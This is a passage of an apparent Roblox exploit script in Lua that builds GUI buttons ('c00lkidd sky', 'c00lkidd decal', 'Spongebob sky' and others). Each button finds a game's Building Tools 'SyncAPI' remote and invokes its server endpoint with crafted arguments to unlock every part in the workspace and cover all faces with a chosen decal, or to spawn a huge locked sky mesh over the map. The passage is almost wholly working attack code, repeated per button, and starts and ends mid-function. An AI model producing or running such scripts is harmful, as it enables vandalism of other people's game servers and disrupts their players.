			function SetCollision(part,boolean)
				local args = {
					[1] = "SyncCollision",
					[2] = {
						[1] = {
							["Part"] = part,
							["CanCollide"] = boolean
						}
					}
				}
				_(args)
			end
			function SetAnchor(boolean,part)
				local args = {
					[1] = "SyncAnchor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Anchored"] = boolean
						}
					}
				}
				_(args)
			end
			function CreatePart(cf,parent)
				local args = {
					[1] = "CreatePart",
					[2] = "Normal",
					[3] = cf,
					[4] = parent
				}
				_(args)
			end
			function DestroyPart(part)
				local args = {
					[1] = "Remove",
					[2] = {
						[1] = part
					}
				}
				_(args)
			end
			function MovePart(part,cf)
				local args = {
					[1] = "SyncMove",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf
						}
					}
				}
				_(args)
			end
			function Resize(part,size,cf)
				local args = {
					[1] = "SyncResize",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf,
							["Size"] = size
						}
					}
				}
				_(args)
			end
			function AddMesh(part)
				local args = {
					[1] = "CreateMeshes",
					[2] = {
						[1] = {
							["Part"] = part
						}
					}
				}
				_(args)
			end
	
			function SetMesh(part,meshid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["MeshId"] = "rbxassetid://"..meshid
						}
					}
				}
				_(args)
			end
			function SetTexture(part, texid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["TextureId"] = "rbxassetid://"..texid
						}
					}
				}
				_(args)
			end
			function SetName(part, stringg)
				local args = {
					[1] = "SetName",
					[2] = {
						[1] = part
					},
					[3] = stringg
				}
	
				_(args)
			end
			function MeshResize(part,size)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["Scale"] = size
						}
					}
				}
				_(args)
			end
			function Weld(part1, part2,lead)
				local args = {
					[1] = "CreateWelds",
					[2] = {
						[1] = part1,
						[2] = part2
					},
					[3] = lead
				}
				_(args)
	
			end
			function SetLocked(part,boolean)
				local args = {
					[1] = "SetLocked",
					[2] = {
						[1] = part
					},
					[3] = boolean
				}
				_(args)
			end
			function SetTrans(part,int)
				local args = {
					[1] = "SyncMaterial",
					[2] = {
						[1] = {
							["Part"] = part,
							["Transparency"] = int
						}
					}
				}
				_(args)
			end
			function CreateSpotlight(part)
				local args = {
					[1] = "CreateLights",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight"
						}
					}
				}
				_(args)
			end
			function SyncLighting(part,brightness)
				local args = {
					[1] = "SyncLighting",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight",
							["Brightness"] = brightness
						}
					}
				}
				_(args)
			end
			function Color(part,color)
				local args = {
					[1] = "SyncColor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Color"] = color --[[Color3]],
							["UnionColoring"] = false
						}
					}
				}
				_(args)
			end
			function SpawnDecal(part,side)
				local args = {
					[1] = "CreateTextures",
					[2] = {
						[1] = {
							["Part"] = part,
							["Face"] = side,
							["TextureType"] = "Decal"
						}
					}
				}
	
				_(args)
			end
			function AddDecal(part,asset,side)
				local args = {
					[1] = "SyncTexture",
					[2] = {
						[1] = {
							["Part"] = part,
							["Face"] = side,
							["TextureType"] = "Decal",
							["Texture"] = "rbxassetid://".. asset
						}
					}
				}
				_(args)
			end
	
			function spam(id)
				for i,v in game.workspace:GetDescendants() do
					if v:IsA("BasePart") then
						spawn(function()
							SetLocked(v,false)
							SpawnDecal(v,Enum.NormalId.Front)
							AddDecal(v,id,Enum.NormalId.Front)
	
							SpawnDecal(v,Enum.NormalId.Back)
							AddDecal(v,id,Enum.NormalId.Back)
	
							SpawnDecal(v,Enum.NormalId.Right)
							AddDecal(v,id,Enum.NormalId.Right)
	
							SpawnDecal(v,Enum.NormalId.Left)
							AddDecal(v,id,Enum.NormalId.Left)
	
							SpawnDecal(v,Enum.NormalId.Bottom)
							AddDecal(v,id,Enum.NormalId.Bottom)
	
							SpawnDecal(v,Enum.NormalId.Top)
							AddDecal(v,id,Enum.NormalId.Top)
						end)
					end
				end
			end
			spam("95921788891849")
		end)
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.7, 0, 0.42, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "c00lkidd sky"
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 20
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
			local player = game.Players.LocalPlayer
			local char = player.Character
			local tool
			for i,v in player:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			for i,v in game.ReplicatedStorage:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			--craaa
			remote = tool.SyncAPI.ServerEndpoint
			function _(args)
				remote:InvokeServer(unpack(args))
			end
			function SetCollision(part,boolean)
				local args = {
					[1] = "SyncCollision",
					[2] = {
						[1] = {
							["Part"] = part,
							["CanCollide"] = boolean
						}
					}
				}
				_(args)
			end
			function SetAnchor(boolean,part)
				local args = {
					[1] = "SyncAnchor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Anchored"] = boolean
						}
					}
				}
				_(args)
			end
			function CreatePart(cf,parent)
				local args = {
					[1] = "CreatePart",
					[2] = "Normal",
					[3] = cf,
					[4] = parent
				}
				_(args)
			end
			function DestroyPart(part)
				local args = {
					[1] = "Remove",
					[2] = {
						[1] = part
					}
				}
				_(args)
			end
			function MovePart(part,cf)
				local args = {
					[1] = "SyncMove",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf
						}
					}
				}
				_(args)
			end
			function Resize(part,size,cf)
				local args = {
					[1] = "SyncResize",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf,
							["Size"] = size
						}
					}
				}
				_(args)
			end
			function AddMesh(part)
				local args = {
					[1] = "CreateMeshes",
					[2] = {
						[1] = {
							["Part"] = part
						}
					}
				}
				_(args)
			end
	
			function SetMesh(part,meshid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["MeshId"] = "rbxassetid://"..meshid
						}
					}
				}
				_(args)
			end
			function SetTexture(part, texid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["TextureId"] = "rbxassetid://"..texid
						}
					}
				}
				_(args)
			end
			function SetName(part, stringg)
				local args = {
					[1] = "SetName",
					[2] = {
						[1] = part
					},
					[3] = stringg
				}
	
				_(args)
			end
			function MeshResize(part,size)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["Scale"] = size
						}
					}
				}
				_(args)
			end
			function Weld(part1, part2,lead)
				local args = {
					[1] = "CreateWelds",
					[2] = {
						[1] = part1,
						[2] = part2
					},
					[3] = lead
				}
				_(args)
	
			end
			function SetLocked(part,boolean)
				local args = {
					[1] = "SetLocked",
					[2] = {
						[1] = part
					},
					[3] = boolean
				}
				_(args)
			end
			function SetTrans(part,int)
				local args = {
					[1] = "SyncMaterial",
					[2] = {
						[1] = {
							["Part"] = part,
							["Transparency"] = int
						}
					}
				}
				_(args)
			end
			function CreateSpotlight(part)
				local args = {
					[1] = "CreateLights",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight"
						}
					}
				}
				_(args)
			end
			function SyncLighting(part,brightness)
				local args = {
					[1] = "SyncLighting",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight",
							["Brightness"] = brightness
						}
					}
				}
				_(args)
			end
			function Color(part,color)
				local args = {
					[1] = "SyncColor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Color"] = color --[[Color3]],
							["UnionColoring"] = false
						}
					}
				}
				_(args)
			end
			function SpawnDecal(part,side)
				local args = {
					[1] = "CreateTextures",
					[2] = {
						[1] = {
							["Part"] = part,
							["Face"] = side,
							["TextureType"] = "Decal"
						}
					}
				}
	
				_(args)
			end
			function AddDecal(part,asset,side)
				local args = {
					[1] = "SyncTexture",
					[2] = {
						[1] = {
							["Part"] = part,
							["Face"] = side,
							["TextureType"] = "Decal",
							["Texture"] = "rbxassetid://".. asset
						}
					}
				}
				_(args)
			end
	
			function Sky(id)
				e = char.HumanoidRootPart.CFrame.x
				f = char.HumanoidRootPart.CFrame.y
				g = char.HumanoidRootPart.CFrame.z
				CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
				for i,v in game.Workspace:GetDescendants() do
					if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
						--spawn(function()
						SetName(v,"Sky")
						AddMesh(v)
						--end)
						--spawn(function()
						SetMesh(v,"111891702759441")
						SetTexture(v,id)
						--end)
						MeshResize(v,Vector3.new(99999,99999,99999))
						SetLocked(v,true)
					end
				end
			end
			Sky("158118263")
		end)
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.01, 0, 0.46, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "c00lkidd decal"
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 20
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
			local player = game.Players.LocalPlayer
			local char = player.Character
			local tool
			for i,v in player:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			for i,v in game.ReplicatedStorage:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			--craaa
			remote = tool.SyncAPI.ServerEndpoint
			function _(args)
				remote:InvokeServer(unpack(args))
			end
			function SetCollision(part,boolean)
				local args = {
					[1] = "SyncCollision",
					[2] = {
						[1] = {
							["Part"] = part,
							["CanCollide"] = boolean
						}
					}
				}
				_(args)
			end
			function SetAnchor(boolean,part)
				local args = {
					[1] = "SyncAnchor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Anchored"] = boolean
						}
					}
				}
				_(args)
			end
			function CreatePart(cf,parent)
				local args = {
					[1] = "CreatePart",
					[2] = "Normal",
					[3] = cf,
					[4] = parent
				}
				_(args)
			end
			function DestroyPart(part)
				local args = {
					[1] = "Remove",
					[2] = {
						[1] = part
					}
				}
				_(args)
			end
			function MovePart(part,cf)
				local args = {
					[1] = "SyncMove",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf
						}
					}
				}
				_(args)
			end
			function Resize(part,size,cf)
				local args = {
					[1] = "SyncResize",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf,
							["Size"] = size
						}
					}
				}
				_(args)
			end
			function AddMesh(part)
				local args = {
					[1] = "CreateMeshes",
					[2] = {
						[1] = {
							["Part"] = part
						}
					}
				}
				_(args)
			end
	
			function SetMesh(part,meshid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["MeshId"] = "rbxassetid://"..meshid
						}
					}
				}
				_(args)
			end
			function SetTexture(part, texid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["TextureId"] = "rbxassetid://"..texid
						}
					}
				}
				_(args)
			end
			function SetName(part, stringg)
				local args = {
					[1] = "SetName",
					[2] = {
						[1] = part
					},
					[3] = stringg
				}
	
				_(args)
			end
			function MeshResize(part,size)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["Scale"] = size
						}
					}
				}
				_(args)
			end
			function Weld(part1, part2,lead)
				local args = {
					[1] = "CreateWelds",
					[2] = {
						[1] = part1,
						[2] = part2
					},
					[3] = lead
				}
				_(args)
	
			end
			function SetLocked(part,boolean)
				local args = {
					[1] = "SetLocked",
					[2] = {
						[1] = part
					},
					[3] = boolean
				}
				_(args)
			end
			function SetTrans(part,int)
				local args = {
					[1] = "SyncMaterial",
					[2] = {
						[1] = {
							["Part"] = part,
							["Transparency"] = int
						}
					}
				}
				_(args)
			end
			function CreateSpotlight(part)
				local args = {
					[1] = "CreateLights",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight"
						}
					}
				}
				_(args)
			end
			function SyncLighting(part,brightness)
				local args = {
					[1] = "SyncLighting",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight",
							["Brightness"] = brightness
						}
					}
				}
				_(args)
			end
			function Color(part,color)
				local args = {
					[1] = "SyncColor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Color"] = color --[[Color3]],
							["UnionColoring"] = false
						}
					}
				}
				_(args)
			end
			function SpawnDecal(part,side)
				local args = {
					[1] = "CreateTextures",
					[2] = {
						[1] = {
							["Part"] = part,
							["Face"] = side,
							["TextureType"] = "Decal"
						}
					}
				}
	
				_(args)
			end
			function AddDecal(part,asset,side)
				local args = {
					[1] = "SyncTexture",
					[2] = {
						[1] = {
							["Part"] = part,
							["Face"] = side,
							["TextureType"] = "Decal",
							["Texture"] = "rbxassetid://".. asset
						}
					}
				}
				_(args)
			end
	
			function spam(id)
				for i,v in game.workspace:GetDescendants() do
					if v:IsA("BasePart") then
						spawn(function()
							SetLocked(v,false)
							SpawnDecal(v,Enum.NormalId.Front)
							AddDecal(v,id,Enum.NormalId.Front)
	
							SpawnDecal(v,Enum.NormalId.Back)
							AddDecal(v,id,Enum.NormalId.Back)
	
							SpawnDecal(v,Enum.NormalId.Right)
							AddDecal(v,id,Enum.NormalId.Right)
	
							SpawnDecal(v,Enum.NormalId.Left)
							AddDecal(v,id,Enum.NormalId.Left)
	
							SpawnDecal(v,Enum.NormalId.Bottom)
							AddDecal(v,id,Enum.NormalId.Bottom)
	
							SpawnDecal(v,Enum.NormalId.Top)
							AddDecal(v,id,Enum.NormalId.Top)
						end)
					end
				end
			end
			spam("158118263")
		end)
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.24, 0, 0.46, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "Sky 2"
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 20
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
			local player = game.Players.LocalPlayer
			local char = player.Character
			local tool
			for i,v in player:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			for i,v in game.ReplicatedStorage:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			--craaa
			remote = tool.SyncAPI.ServerEndpoint
			function _(args)
				remote:InvokeServer(unpack(args))
			end
			function SetCollision(part,boolean)
				local args = {
					[1] = "SyncCollision",
					[2] = {
						[1] = {
							["Part"] = part,
							["CanCollide"] = boolean
						}
					}
				}
				_(args)
			end
			function SetAnchor(boolean,part)
				local args = {
					[1] = "SyncAnchor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Anchored"] = boolean
						}
					}
				}
				_(args)
			end
			function CreatePart(cf,parent)
				local args = {
					[1] = "CreatePart",
					[2] = "Normal",
					[3] = cf,
					[4] = parent
				}
				_(args)
			end
			function DestroyPart(part)
				local args = {
					[1] = "Remove",
					[2] = {
						[1] = part
					}
				}
				_(args)
			end
			function MovePart(part,cf)
				local args = {
					[1] = "SyncMove",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf
						}
					}
				}
				_(args)
			end
			function Resize(part,size,cf)
				local args = {
					[1] = "SyncResize",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf,
							["Size"] = size
						}
					}
				}
				_(args)
			end
			function AddMesh(part)
				local args = {
					[1] = "CreateMeshes",
					[2] = {
						[1] = {
							["Part"] = part
						}
					}
				}
				_(args)
			end
	
			function SetMesh(part,meshid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["MeshId"] = "rbxassetid://"..meshid
						}
					}
				}
				_(args)
			end
			function SetTexture(part, texid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["TextureId"] = "rbxassetid://"..texid
						}
					}
				}
				_(args)
			end
			function SetName(part, stringg)
				local args = {
					[1] = "SetName",
					[2] = {
						[1] = part
					},
					[3] = stringg
				}
	
				_(args)
			end
			function MeshResize(part,size)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["Scale"] = size
						}
					}
				}
				_(args)
			end
			function Weld(part1, part2,lead)
				local args = {
					[1] = "CreateWelds",
					[2] = {
						[1] = part1,
						[2] = part2
					},
					[3] = lead
				}
				_(args)
	
			end
			function SetLocked(part,boolean)
				local args = {
					[1] = "SetLocked",
					[2] = {
						[1] = part
					},
					[3] = boolean
				}
				_(args)
			end
			function SetTrans(part,int)
				local args = {
					[1] = "SyncMaterial",
					[2] = {
						[1] = {
							["Part"] = part,
							["Transparency"] = int
						}
					}
				}
				_(args)
			end
			function CreateSpotlight(part)
				local args = {
					[1] = "CreateLights",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight"
						}
					}
				}
				_(args)
			end
			function SyncLighting(part,brightness)
				local args = {
					[1] = "SyncLighting",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight",
							["Brightness"] = brightness
						}
					}
				}
				_(args)
			end
			function Color(part,color)
				local args = {
					[1] = "SyncColor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Color"] = color --[[Color3]],
							["UnionColoring"] = false
						}
					}
				}
				_(args)
			end
			function SpawnDecal(part,side)
				local args = {
					[1] = "CreateTextures",
					[2] = {
						[1] = {
							["Part"] = part,
							["Face"] = side,
							["TextureType"] = "Decal"
						}
					}
				}
	
				_(args)
			end
			function AddDecal(part,asset,side)
				local args = {
					[1] = "SyncTexture",
					[2] = {
						[1] = {
							["Part"] = part,
							["Face"] = side,
							["TextureType"] = "Decal",
							["Texture"] = "rbxassetid://".. asset
						}
					}
				}
				_(args)
			end
	
			function Sky(id)
				e = char.HumanoidRootPart.CFrame.x
				f = char.HumanoidRootPart.CFrame.y
				g = char.HumanoidRootPart.CFrame.z
				CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
				for i,v in game.Workspace:GetDescendants() do
					if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
						--spawn(function()
						SetName(v,"Sky")
						AddMesh(v)
						--end)
						--spawn(function()
						SetMesh(v,"111891702759441")
						SetTexture(v,id)
						--end)
						MeshResize(v,Vector3.new(99999,99999,99999))
						SetLocked(v,true)
					end
				end
			end
			Sky("72497671152590")
		end)
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.47, 0, 0.46, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "Decal 2"
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 20
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
			local player = game.Players.LocalPlayer
			local char = player.Character
			local tool
			for i,v in player:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			for i,v in game.ReplicatedStorage:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			--craaa
			remote = tool.SyncAPI.ServerEndpoint
			function _(args)
				remote:InvokeServer(unpack(args))
			end
			function SetCollision(part,boolean)
				local args = {
					[1] = "SyncCollision",
					[2] = {
						[1] = {
							["Part"] = part,
							["CanCollide"] = boolean
						}
					}
				}
				_(args)
			end
			function SetAnchor(boolean,part)
				local args = {
					[1] = "SyncAnchor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Anchored"] = boolean
						}
					}
				}
				_(args)
			end
			function CreatePart(cf,parent)
				local args = {
					[1] = "CreatePart",
					[2] = "Normal",
					[3] = cf,
					[4] = parent
				}
				_(args)
			end
			function DestroyPart(part)
				local args = {
					[1] = "Remove",
					[2] = {
						[1] = part
					}
				}
				_(args)
			end
			function MovePart(part,cf)
				local args = {
					[1] = "SyncMove",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf
						}
					}
				}
				_(args)
			end
			function Resize(part,size,cf)
				local args = {
					[1] = "SyncResize",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf,
							["Size"] = size
						}
					}
				}
				_(args)
			end
			function AddMesh(part)
				local args = {
					[1] = "CreateMeshes",
					[2] = {
						[1] = {
							["Part"] = part
						}
					}
				}
				_(args)
			end
	
			function SetMesh(part,meshid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["MeshId"] = "rbxassetid://"..meshid
						}
					}
				}
				_(args)
			end
			function SetTexture(part, texid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["TextureId"] = "rbxassetid://"..texid
						}
					}
				}
				_(args)
			end
			function SetName(part, stringg)
				local args = {
					[1] = "SetName",
					[2] = {
						[1] = part
					},
					[3] = stringg
				}
	
				_(args)
			end
			function MeshResize(part,size)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["Scale"] = size
						}
					}
				}
				_(args)
			end
			function Weld(part1, part2,lead)
				local args = {
					[1] = "CreateWelds",
					[2] = {
						[1] = part1,
						[2] = part2
					},
					[3] = lead
				}
				_(args)
	
			end
			function SetLocked(part,boolean)
				local args = {
					[1] = "SetLocked",
					[2] = {
						[1] = part
					},
					[3] = boolean
				}
				_(args)
			end
			function SetTrans(part,int)
				local args = {
					[1] = "SyncMaterial",
					[2] = {
						[1] = {
							["Part"] = part,
							["Transparency"] = int
						}
					}
				}
				_(args)
			end
			function CreateSpotlight(part)
				local args = {
					[1] = "CreateLights",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight"
						}
					}
				}
				_(args)
			end
			function SyncLighting(part,brightness)
				local args = {
					[1] = "SyncLighting",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight",
							["Brightness"] = brightness
						}
					}
				}
				_(args)
			end
			function Color(part,color)
				local args = {
					[1] = "SyncColor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Color"] = color --[[Color3]],
							["UnionColoring"] = false
						}
					}
				}
				_(args)
			end
			function SpawnDecal(part,side)
				local args = {
					[1] = "CreateTextures",
					[2] = {
						[1] = {
							["Part"] = part,
							["Face"] = side,
							["TextureType"] = "Decal"
						}
					}
				}
	
				_(args)
			end
			function AddDecal(part,asset,side)
				local args = {
					[1] = "SyncTexture",
					[2] = {
						[1] = {
							["Part"] = part,
							["Face"] = side,
							["TextureType"] = "Decal",
							["Texture"] = "rbxassetid://".. asset
						}
					}
				}
				_(args)
			end
	
			function spam(id)
				for i,v in game.workspace:GetDescendants() do
					if v:IsA("BasePart") then
						spawn(function()
							SetLocked(v,false)
							SpawnDecal(v,Enum.NormalId.Front)
							AddDecal(v,id,Enum.NormalId.Front)
	
							SpawnDecal(v,Enum.NormalId.Back)
							AddDecal(v,id,Enum.NormalId.Back)
	
							SpawnDecal(v,Enum.NormalId.Right)
							AddDecal(v,id,Enum.NormalId.Right)
	
							SpawnDecal(v,Enum.NormalId.Left)
							AddDecal(v,id,Enum.NormalId.Left)
	
							SpawnDecal(v,Enum.NormalId.Bottom)
							AddDecal(v,id,Enum.NormalId.Bottom)
	
							SpawnDecal(v,Enum.NormalId.Top)
							AddDecal(v,id,Enum.NormalId.Top)
						end)
					end
				end
			end
			spam("72497671152590")
		end)
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.7, 0, 0.46, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "Spongebob sky"
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 20
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
			local player = game.Players.LocalPlayer
			local char = player.Character
			local tool
			for i,v in player:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			for i,v in game.ReplicatedStorage:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			--craaa
			remote = tool.SyncAPI.ServerEndpoint
			function _(args)
				remote:InvokeServer(unpack(args))
			end
			function SetCollision(part,boolean)
				local args = {
					[1] = "SyncCollision",
					[2] = {
						[1] = {
							["Part"] = part,
							["CanCollide"] = boolean
						}
					}
				}
				_(args)
			end
			function SetAnchor(boolean,part)
				local args = {
					[1] = "SyncAnchor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Anchored"] = boolean
						}
					}
				}
				_(args)
			end
			function CreatePart(cf,parent)
				local args = {
					[1] = "CreatePart",
					[2] = "Normal",
					[3] = cf,
					[4] = parent
				}
				_(args)
			end
			function DestroyPart(part)
				local args = {
					[1] = "Remove",
					[2] = {
						[1] = part
					}
				}
				_(args)
			end
			function MovePart(part,cf)
				local args = {
					[1] = "SyncMove",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf
						}
					}
				}
				_(args)
			end
			function Resize(part,size,cf)
				local args = {
					[1] = "SyncResize",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf,
							["Size"] = size
						}
					}
				}
				_(args)
			end
			function AddMesh(part)
				local args = {
					[1] = "CreateMeshes",
					[2] = {
						[1] = {
							["Part"] = part
						}
					}
				}
				_(args)
			end
	
			function SetMesh(part,meshid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["MeshId"] = "rbxassetid://"..meshid
						}
					}
				}
				_(args)
			end
			function SetTexture(part, texid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["TextureId"] = "rbxassetid://"..texid
						}
					}
				}
				_(args)
			end
			function SetName(part, stringg)
				local args = {
					[1] = "SetName",
					[2] = {
						[1] = part
					},
					[3] = stringg
				}
	
				_(args)
			end
			function MeshResize(part,size)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["Scale"] = size
						}
					}
				}
				_(args)
			end
			function Weld(part1, part2,lead)
				local args = {
					[1] = "CreateWelds",
					[2] = {
						[1] = part1,
						[2] = part2
					},
					[3] = lead
				}
				_(args)
	
			end
			function SetLocked(part,boolean)
				local args = {
					[1] = "SetLocked",
					[2] = {
						[1] = part
					},
					[3] = boolean
				}
				_(args)
			end
			function SetTrans(part,int)
				local args = {
					[1] = "SyncMaterial",
					[2] = {
						[1] = {
							["Part"] = part,
							["Transparency"] = int
						}
					}
				}
				_(args)
			end
			function CreateSpotlight(part)
				local args = {
					[1] = "CreateLights",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight"
						}
					}
				}
				_(args)
			end
			function SyncLighting(part,brightness)
				local args = {
					[1] = "SyncLighting",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight",
							["Brightness"] = brightness
						}
					}
				}
				_(args)
			end
			function Color(part,color)
				local args = {
					[1] = "SyncColor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Color"] = color --[[Color3]],
							["UnionColoring"] = false
						}
					}
				}
				_(args)
			end
			function SpawnDecal(part,side)
				local args = {
					[1] = "CreateTextures",
					[2] = {
						[1] = {
							["Part"] = part,
							["Face"] = side,
							["TextureType"] = "Decal"
						}
					}
				}
	
				_(args)
			end
			function AddDecal(part,asset,side)
				local args = {
					[1] = "SyncTexture",
					[2] = {
						[1] = {
							["Part"] = part,
							["Face"] = side,
							["TextureType"] = "Decal",
							["Texture"] = "rbxassetid://".. asset
						}
					}
				}
				_(args)
			end
	
			function Sky(id)
